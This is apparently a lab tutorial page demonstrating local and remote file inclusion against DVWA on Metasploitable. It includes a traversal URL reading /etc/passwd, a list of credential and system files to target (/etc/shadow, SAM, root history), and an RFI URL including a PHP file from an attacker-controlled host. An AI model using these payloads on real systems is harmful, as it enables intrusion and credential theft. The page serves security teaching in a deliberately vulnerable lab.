File Inclusion Vulnerabilities a11y.text File Inclusion Vulnerabilities Remote File Inclusion (RFI) and Local File Inclusion (LFI) are vulnerabilities that are often found in poorly-written web applications. These vulnerabilities occur when a web application allows the user to submit input into files or upload files to the server. LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information. If the attacker is able to place code on the web server through other means, then they may be able to execute arbitrary commands. RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine. In order to demonstrate these techniques, we will be using the Damn Vulnerable Web Application (DVWA) within metasploitable. Connect to metasploitable from your browser and click on the DVWA link. The credentials to login to DVWA are:
admin / password Once we are authenticated, click on the â€œDVWA Securityâ€• tab on the left panel. Set the security level to â€˜lowâ€™ and click â€˜Submitâ€™, then select the â€œFile Inclusionâ€• tab. On the file inclusion page, click on the view source button on the bottom right. If your security setting is successfully set to low, you should see the following source code: $file = $_GET['page']; //The page we wish to display This piece of code in itself is not actually vulnerable, so where is the vulnerability? For a regular attacker who does not already have root access to the machine, this could be where their investigation ends. The $_GET variable is interesting enough that they would begin testing or scanning for file inclusion. Since we already have root access to the machine, lets try harder and see if we can find out where the vulnerability comes from. SSH to metasploitable with the following credentials:
msfadmin / msfadmin. We can use cat to view the index.php within the /var/www/dvwa/vulnerabilities/fi/ directory. msfadmin: cat -n /var/www/dvwa/vulnerabilities/fi/index.php Looking at the output, we can see that there is a switch statement on line 15, which takes the security setting as input and breaks depending on which

setting is applied. Since we have selected â€˜lowâ€™, the code proceeds to call /source/low.php . If we look farther down in index.php , we can see that line 35 says: include($file); And there we have it! Weâ€™ve found the location of the vulnerability. This code is vulnerable because there is no sanitization of the user-supplied input. Specifically, the $file variable is not being sanitized before being called by the include() function. If the web server has access to the requested file, any PHP code contained inside will be executed. Any non-PHP code in the file will be displayed in the userâ€™s browser. Now that we understand how a file inclusion vulnerability can occur, we will exploit the vulnerabilities on the include.php page. Local File Inclusion (LFI) a11y.text Local File Inclusion (LFI) In the browser address bar, enter the following: http://192.168.80.134/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd The â€˜../â€™ characters used in the example above represent a directory traversal. The number of â€˜../â€™ sequences depends on the configuration and location of the target web server on the victim machine. Some experimentation may be required. We can see that the contents of /etc/passwd are displayed on the screen. A lot of useful information about the host can be obtained this way. Some interesting files to look for include, but are not limited to: â€“ /etc/issue

â€“ /proc/version

â€“ /etc/profile

â€“ /etc/passwd

â€“ /etc/passwd

â€“ /etc/shadow

â€“ /root/.bash_history

â€“ /var/log/dmessage

â€“ /var/mail/root

â€“ /var/spool/cron/crontabs/root â€“ %SYSTEMROOT%repairsystem

â€“ %SYSTEMROOT%repairSAM

â€“ %SYSTEMROOT%repairSAM

â€“ %WINDIR%win.ini

â€“ %SYSTEMDRIVE%boot.ini

â€“ %WINDIR%Panthersysprep.inf

â€“ %WINDIR%system32configAppEvent.Evt â€“ /etc/fstab

â€“ /etc/master.passwd

â€“ /etc/resolv.conf

â€“ /etc/sudoers

â€“ /etc/sysctl.conf [/vc_tta_section] Sometimes during a Local File Inclusion, the web server appends â€˜.phpâ€™ to the included file. For example, including â€˜/etc/passwdâ€™ gets rendered as â€˜/etc/passwd.phpâ€™. This occurs when the include function uses a parameter like ?page and concatenates the .php extension to the file. In versions of PHP below 5.3, ending the URL with a null byte (%00) would cause the interpreter to stop reading, which would allow the attacker to include their intended page. Remote File Inclusion (RFI) a11y.text Remote File Inclusion (RFI) This part of the demonstration requires some initial setup. We will take this as an opportunity to develop some Linux command line and PHP skills. In order for an RFI to be successful, two functions in PHPâ€™s configuration file need to be set. allow_url_fopen and allow_url_include both need to be â€˜Onâ€™. From the PHP documentation , we can see what these configurations do. allow_url_fopen â€“ â€œThis option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers.â€• allow_url_include â€“ â€œThis option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_onceâ€• To find DVWAâ€™s configuration file, click on the â€˜PHP infoâ€™ tab on the left panel. This screen gives us a large amount of useful information, including the PHP version, the operating system of the victim, and of course, the configuration file. We can see that the loaded file is /etc/php5/cgi/php.ini . In metasploitable, we can open the php.ini file using nano : msfadmin: sudo nano /etc/php5/cgi/php.ini

sudo password: msfadmin In nano, type â€˜ctrl-wâ€™ to find a string. Type in â€˜allow_urlâ€™ and hit enter. We should now be on line 573 of the php.ini file (type â€˜ctrl-câ€™ to find the current line in nano). Make sure that â€˜allow_url_fopenâ€™ and â€˜allow_url_includeâ€™ are both set to â€˜Onâ€™. Save your file with â€˜ctrl-oâ€™, and exit with â€˜ctrl-xâ€™. Now, restart metasploitableâ€™s web server with: msfadmin: sudo /etc/init.d/apache2 restart In Kali, we need to set up our own web server for testing. First, create a test file called rfi-test.php and then start apache. root@kali : ~ # echo "Success." > /var/www/html/rfi-test.php root@kali : ~ # systemctl start apache2 Now we can test our RFI. On the â€˜File Inclusionâ€™ page, type the following URL: http://192.168.80.134/dvwa/vulnerabilities/fi/?page=http://192.168.80.128/rfi-test.php From the output displayed on the top of the browser, we can see that the page is indeed vulnerable to RFI. To finish with this RFI, weâ€™ll take a look at the php_include function on the PHP Meterpreter page.

Next PHP Meterpreter Prev File-Upload Backdoors